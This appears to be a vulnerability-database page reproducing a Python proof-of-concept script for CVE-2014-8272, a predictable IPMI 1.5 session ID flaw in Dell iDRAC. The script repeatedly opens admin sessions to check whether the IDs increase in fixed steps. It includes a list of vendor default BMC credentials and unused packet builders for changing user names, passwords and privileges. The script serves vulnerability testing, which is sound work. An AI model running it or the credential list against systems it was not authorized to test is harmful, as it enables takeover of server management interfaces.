Lucene search
K

Dell iDRAC IPMI 1.5 Insufficient Session ID Randomness

🗓️ 14 Jan 2015 00:00:00Reported by Yong Chuan KohType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 65 Views

Dell iDRAC IPMI 1.5 Insufficient Session ID Randomnes

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2014-8272
19 Dec 201411:00
cve
Cvelist
CVE-2014-8272
19 Dec 201411:00
cvelist
Tenable Nessus
Dell iDRAC Products IPMI Arbitrary Command Injection Vulnerability
9 Jan 201500:00
nessus
Tenable Nessus
Dell iDRAC Improper Session ID Handling (CVE-2014-8272)
17 Jan 202400:00
nessus
Exploit DB
Dell iDRAC IPMI 1.5 - Insufficient Session ID Randomness
13 Jan 201500:00
exploitdb
exploitpack
Dell iDRAC IPMI 1.5 - Insufficient Session ID Randomness
13 Jan 201500:00
exploitpack
exploitpack
Dell-iDRAC-IPMI-1.5
14 Jan 201518:30
exploitpack
NVD
CVE-2014-8272
19 Dec 201411:59
nvd
OpenVAS
Dell iDRAC Weak SessionID Vulnerability (IPMI Protocol) - Active Check
21 Jan 201500:00
openvas
Prion
Command injection
19 Dec 201411:59
prion
Rows per page
`"""  
For testing purposes only.  
  
(c) Yong Chuan, Koh 2014  
"""  
  
from time import sleep  
from socket import *  
from struct import *  
from random import *  
import sys, os, argparse  
  
HOST = None  
PORT = 623  
  
bufsize = 1024  
recv = ""  
  
  
# create socket  
UDPsock = socket(AF_INET,SOCK_DGRAM)  
UDPsock.settimeout(2)  
  
data = 21 #offset of data start  
  
RMCP = ('\x06' + #RMCP.version = ASF RMCP v1.0  
'\x00' + #RMCP.reserved  
'\xFF' + #RMCP.seq  
'\x07' #RMCP.Type/Class = Normal_RMCP/IPMI  
)  
  
  
  
def SessionHeader (ipmi, auth_type='None', seq_num=0, sess_id=0, pwd=None):  
auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}  
  
sess_header = ''  
sess_header += pack('<B', auth_types[auth_type])  
sess_header += pack('<L', seq_num)  
sess_header += pack('<L', sess_id)  
if auth_type is not 'None':  
raw = pwd + pack('<L', sess_id) + ipmi + pack('<L', seq_num) + pwd  
import hashlib  
h = hashlib.md5(raw)  
sess_header += h.digest()  
sess_header += pack('B', len(ipmi))  
  
return sess_header  
  
  
class CreateIPMI ():  
def __init__ (self):  
self.priv_lvls = {'Reserved':0, 'Callback':1, 'User':2, 'Operator':3, 'Admin':4, 'OEM':5, 'NO ACCESS':15 }  
self.priv_lvls_2 = {0:'Reserved', 1:'Callback', 2:'User', 3:'Operator', 4:'Admin', 5:'OEM', 15:'NO ACCESS'}  
self.auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}  
  
def CheckSum (self, bytes):  
  
chksum = 0  
q = ''  
for i in bytes:  
q += '%02X ' %ord(i)  
chksum = (chksum + ord(i)) % 0x100  
if chksum > 0:  
chksum = 0x100 - chksum  
  
return pack('>B', chksum)  
  
  
def Header (self, cmd, seq_num=0x00):  
#only for IPMI v1.5  
cmds = {'Get Channel Auth Capabilities' : (0x06, 0x38), #(netfn, cmd_code)  
'Get Session Challenge' : (0x06, 0x39),  
'Activate Session' : (0x06, 0x3a),  
'Set Session Privilege Level' : (0x06, 0x3b),  
'Close Session' : (0x06, 0x3c),  
'Set User Access' : (0x06, 0x43),  
'Get User Access' : (0x06, 0x44),  
'Set User Name' : (0x06, 0x45),  
'Get User Name' : (0x06, 0x46),  
'Set User Password' : (0x06, 0x47),  
'Get Chassis Status' : (0x00, 0x01)}  
ipmi_header = ''  
ipmi_header += pack('<B', 0x20) #target addr  
ipmi_header += pack('<B', cmds[cmd][0]<<2 | 0) #netfn | target lun  
ipmi_header += self.CheckSum (ipmi_header)  
ipmi_header += pack('<B', 0x81) #source addr  
ipmi_header += pack('<B', seq_num<<2 | 0) #seq_num | source lun  
ipmi_header += pack('<B', cmds[cmd][1]) #IPMI message command  
  
return ipmi_header  
  
  
def GetChannelAuthenticationCapabilities (self, hdr_seq, chn=0x0E, priv_lvl='Admin'):  
ipmi = ''  
ipmi += self.Header('Get Channel Auth Capabilities', hdr_seq)  
ipmi += pack('<B', 0<<7 | chn) #IPMI v1.5 | chn num (0-7, 14=current_chn, 15)  
ipmi += pack('<B', self.priv_lvls[priv_lvl]) #requested privilege level  
ipmi += self.CheckSum (ipmi[3:])  
  
return ipmi  
  
  
def GetSessionChallenge (self, hdr_seq, username, auth_type='MD5'):  
#only for IPMI v1.5  
ipmi = ''  
ipmi += self.Header('Get Session Challenge', hdr_seq)  
ipmi += pack('<B', self.auth_types[auth_type]) #authentication type  
ipmi += username #user name  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
  
def ActivateSession (self, hdr_seq, authcode, auth_type='MD5', priv_lvl='Admin'):  
#only for IPMI v1.5  
ipmi = ''  
ipmi += self.Header('Activate Session', hdr_seq)  
ipmi += pack('>B', self.auth_types[auth_type])  
ipmi += pack('>B', self.priv_lvls[priv_lvl])  
ipmi += authcode #challenge string  
ipmi += pack('<L', 0xdeadb0b0) #initial outbound seq num  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
  
def SetSessionPrivilegeLevel (self, hdr_seq, priv_lvl='Admin'):  
#only for IPMI v1.5  
ipmi = ''  
ipmi += self.Header('Set Session Privilege Level', hdr_seq)  
ipmi += pack('>B', self.priv_lvls[priv_lvl])  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
  
def CloseSession (self, hdr_seq, sess_id):  
ipmi = ''  
ipmi += self.Header ("Close Session", hdr_seq)  
ipmi += pack('<L', sess_id)  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
  
def GetChassisStatus (self, hdr_seq):  
ipmi = ''  
ipmi += self.Header ("Get Chassis Status", hdr_seq)  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
  
def GetUserAccess (self, hdr_seq, user_id, chn_num=0x0E):  
ipmi = ''  
ipmi += self.Header ("Get User Access", hdr_seq)  
ipmi += pack('>B', chn_num) #chn_num = 0x0E = current channel  
ipmi += pack('>B', user_id)  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
  
def GetUserName (self, hdr_seq, user_id=2):  
ipmi = ''  
ipmi += self.Header ("Get User Name", hdr_seq)  
ipmi += pack('>B', user_id)  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
def SetUserName (self, hdr_seq, user_id, user_name):  
#Assign user_name to user_id, replaces if user_id is occupied  
ipmi = ''  
ipmi += self.Header ("Set User Name", hdr_seq)  
ipmi += pack('>B', user_id)  
ipmi += user_name.ljust(16, '\x00')  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
def SetUserPassword (self, hdr_seq, user_id, password, op='set password'):  
ops = {'disable user':0, 'enable user':1, 'set password':2, 'test password':3}  
ipmi = ''  
ipmi += self.Header ("Set User Password", hdr_seq)  
ipmi += pack('>B', user_id)  
ipmi += pack('>B', ops[op])  
ipmi += password.ljust(16, '\x00') #IPMI v1.5: 16bytes | IPMI v2.0: 20bytes  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
def SetUserAccess (self, hdr_seq, user_id, new_priv, chn=0x0E):  
ipmi = ''  
ipmi += self.Header ("Set User Access", hdr_seq)  
ipmi += pack('<B', 1<<7 | 0<<6 | 0<<5 | 1<<4 | chn) #bit4=1=enable user for IPMI Messaging | chn=0xE=current channel  
ipmi += pack('>B', user_id)  
ipmi += pack('>B', self.priv_lvls[new_priv])  
ipmi += pack('>B', 0)  
ipmi += self.CheckSum(ipmi[3:])  
  
return ipmi  
  
  
def SendUDP (pkt):  
  
global HOST, PORT, data  
  
res = ''  
code = ipmi_seq = 0xFFFF  
for i in range(5):  
try:  
UDPsock.sendto(pkt, (HOST, PORT))  
res = UDPsock.recv(bufsize)  
except Exception as e:  
print '[-] Socket Timeout: Try %d'%i  
sleep (0)  
else:  
#have received a reply  
if res[4:5] == '\x02': #Session->AuthType = MD5  
data += 16  
code = unpack('B',res[data-1:data])[0]  
ipmi_seq= unpack('B',res[data-3:data-2])[0]>>2  
if res[4:5] == '\x02':  
data -= 16  
break  
return code, ipmi_seq, res  
  
  
def SetUpSession (username, pwd, priv='Admin', auth='MD5'):  
  
global data  
  
#Get Channel Authentication Capabilities  
ipmi = CreateIPMI().GetChannelAuthenticationCapabilities(0, chn=0xE, priv_lvl=priv)  
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)  
if code != 0x00:  
return code, 0, 0, 0  
#print '[+]%-30s: %02X (%d)'%('Get Chn Auth Capabilities', code, ipmi_seq)  
  
  
#Get Session Challenge  
ipmi = CreateIPMI().GetSessionChallenge(1, username, 'MD5')  
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)  
if code != 0x00:  
if code == 0xFFFF:  
print "[-] BMC didn't respond to IPMI v1.5 session setup"  
print " If firmware had disabled it, then BMC is not vulnerable"  
return code, 0, 0, 0  
temp_sess_id = unpack('<L', res[data:data+4])[0]  
challenge_str = res[data+4:data+4+16]  
#print '[+]%-30s: %02X (%d)'%('Get Session Challenge', code, ipmi_seq)  
  
  
#Activate Session  
ipmi = CreateIPMI().ActivateSession(2, challenge_str, auth, priv)  
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, auth, 0, temp_sess_id, pwd) + ipmi)  
if code != 0x00:  
return code, 0, 0, 0  
data += 16  
sess_auth_type = unpack('B', res[data:data+1])[0]  
sess_id = unpack('<L', res[data+1:data+1+4])[0]  
ini_inbound = sess_hdr_seq = unpack('<L', res[data+5:data+5+4])[0]  
sess_priv_lvl = unpack('B', res[data+9:data+9+1])[0]  
#print '[+]%-30s: %02X (%d)'%('Activate Session', code, ipmi_seq)  
#print ' %-30s: Session_ID %08X'%sess_id  
data -= 16  
  
  
#Set Session Privilege Level  
ipmi = CreateIPMI().SetSessionPrivilegeLevel(3, priv)  
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_hdr_seq, sess_id) + ipmi)  
sess_hdr_seq += 1  
if code != 0x00:  
return code, 0, 0, 0  
new_priv_lvl = unpack('B', res[data:data+1])[0]  
#print '[+]%-30s: %02X (%d)'%('Set Session Priv Level', code, ipmi_seq)  
  
  
return code, temp_sess_id, sess_hdr_seq, sess_id  
  
  
def CloseSession (sess_seq, sess_id):  
  
global data  
  
#Close Session  
ipmi = CreateIPMI().CloseSession(5, sess_id)  
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)  
#print '[+]%-30s: %02X (%d)'%('Close Session', code, ipmi_seq)  
  
return code  
  
  
def CheckSessionAlive(sess_seq, sess_id):  
#SetUserPassword(): "user enable <user_id>"  
ipmi = CreateIPMI().GetChassisStatus(31)  
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)  
print '[+] %-35s: %02X (%d)'%('CheckSessionAlive->GetChassisStatus', code, ipmi_seq)  
sess_seq += 1  
  
return sess_seq  
  
  
  
  
  
def banner():  
print ("######################################################\n"+\  
"## This tool checks whether a BMC machine is vulnerable to CVE-2014-8272\n"+\  
"## (http://www.kb.cert.org/vuls/id/843044)\n"+\  
"## by logging the TemporarySessionID/SessionID in each IPMI v1.5 session,\n"+\  
"## and checking that these values are incremental\n"+\  
"## \n"+\  
"## Author: Yong Chuan, Koh\n"+\  
"## Email: [email protected]\n"+\  
"## (c) Yong Chuan, Koh 2014\n"+\  
"######################################################\n")  
  
  
def main():  
  
banner()  
  
#default usernames/passwords (https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi)  
vendors = {"HP" :{"user":"Administrator", "pwd":""}, #no default pwd: <factory randomized 8-character string>  
"DELL" :{"user":"root", "pwd":"calvin"},  
"IBM" :{"user":"USERID", "pwd":"PASSW0RD"},  
"FUJITSU" :{"user":"admin", "pwd":"admin"},  
"SUPERMICRO" :{"user":"ADMIN", "pwd":"ADMIN"},  
"ORACLE" :{"user":"root", "pwd":"changeme"},  
"ASUS" :{"user":"admin", "pwd":"admin"}  
}  
  
arg = argparse.ArgumentParser(description="Test for CVE-2014-8272: Use of Insufficiently Random Values")  
arg.add_argument("-i", "--ip", required=True, help="IP address of BMC server")  
arg.add_argument("-u", "--udpport", nargs="?", default=623, type=int, help="Port of BMC server (optional: default 623)")  
arg.add_argument("-v", "--vendor", nargs="?", help="Server vendor of BMC (optional: for default BMC credentials)")  
arg.add_argument("-n", "--username", nargs="?", default=None, help="Username of BMC account (optional: for non-default credentials)")  
arg.add_argument("-p", "--password", nargs="?", default=None, help="Password of BMC account (optional: for non-default credentials)")  
  
args = arg.parse_args()  
  
if args.vendor is not None: args.vendor = args.vendor.upper()  
if (args.vendor is None or args.vendor not in vendors.keys()) and (args.username is None or args.password is None):  
print "[-] Error: -n and -p are required because -v is not specified/in default list"  
print " Vendors with Default Accounts"  
print " -----------------------------------"  
for vendor,acct in vendors.iteritems():  
print " %s: username='%s', password='%s'"%(vendor,acct["user"],acct["pwd"])  
sys.exit(1)  
  
if args.username is None: args.username = vendors[args.vendor]["user"].ljust(16, '\x00')  
if args.password is None: args.password = vendors[args.vendor]["pwd"].ljust(16, '\x00')  
  
  
global HOST, PORT  
HOST = args.ip   
PORT = args.udpport  
  
print "Script Parameters"  
print "-------------------------"  
print "IP : %s"%HOST   
print "Port : %d"%PORT  
print "Username : %s"%args.username  
print "Password : %s"%args.password  
  
session_ids = []  
for i in xrange(0x80): #do not go beyond 0xFF, because of how session_ids is checked for incremental later  
try:  
code, temp_sess_id, sess_seq, sess_id = SetUpSession (args.username, args.password, priv='Admin', auth='MD5')  
if code == 0:  
session_ids.append(temp_sess_id)  
session_ids.append(sess_id)  
print '[+%04X] temp_sess_id=%08X, sess_id=%08X'%(i, temp_sess_id, sess_id)  
else:  
#print '[-%04X] SetUp Session: Trying again after timeout 5s'%(i)  
sleep(5)  
continue  
  
  
code = CloseSession (sess_seq, sess_id)  
if code == 0:  
#print '[+%04X] Close Session OK'%(i)  
i += 1  
sleep (0.5)  
else:  
#print '[-%04X] Close Session fail: Wait for natural timeout (60+/-3s)'%(i)  
sleep(65)  
  
except Exception as e:  
exc_type, exc_obj, exc_tb = sys.exc_info()  
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]  
print (exc_type, fname, exc_tb.tb_lineno)  
  
  
session_ids = session_ids[:0xFF]  
  
#get the first incremental diff  
const_diff = None  
for i in xrange(1, len(session_ids)):  
if session_ids[i-1] < session_ids[i]:  
const_diff = session_ids[i] - session_ids[i-1]  
break  
#check if session_ids are increasing at a fixed value  
vulnerable = True  
crossed_value_boundary = 0  
for i in xrange(1, len(session_ids)):  
  
if session_ids[i]-session_ids[i-1] != const_diff:  
if crossed_value_boundary < 2:  
crossed_value_boundary += 1  
else:  
vulnerable = False  
  
if vulnerable:  
print "Conclusion: BMC is vulnerable to CVE-2014-8272"  
else:  
print "Conclusion: BMC is not vulnerable to CVE-2014-8272"  
  
  
  
  
  
  
if __name__ == "__main__":  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation